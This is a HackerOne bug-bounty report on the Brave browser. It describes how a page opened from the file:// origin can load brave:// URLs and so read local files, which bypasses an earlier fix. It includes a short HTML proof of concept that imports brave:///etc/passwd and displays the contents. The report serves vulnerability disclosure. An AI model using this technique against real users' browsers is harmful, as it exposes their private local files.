Brave Software: Local files reading from the "file://" origin through `brave://`

ID H1:390362
Type hackerone
Reporter metnew
Modified 2018-09-29T00:15:51



Sadly, fix for #390013 works only for web. Loading brave:// from the file:// origin allows reading local files on the device.

> I said that fix could be insufficient 😈

file:// and brave:// both are local origins. That means it's possible to access brave:// from file:// and vice versa.

Products affected:

Brave: 0.23.77 V8: rev: 0125b5f5ddc7eebc832ceeb4f4275230ec49d149 Muon: 8.0.6 OS Release: 17.7.0 Update Channel: Релиз OS Architecture: x64 OS Platform: macOS Node.js: 7.9.0 Brave Sync: v1.4.2 libchromiumcontent: 68.0.3440.84

Steps To Reproduce:

html <head> <script> function show() { var file = link.import.querySelector('body') alert(file.innerHTML) } </script> <link id="link" href="brave:///etc/passwd" rel="import" as="document" onload="show()" /> </head>

Supporting Material/References:

Screencast + PoC attached.


Local files reading should be denied.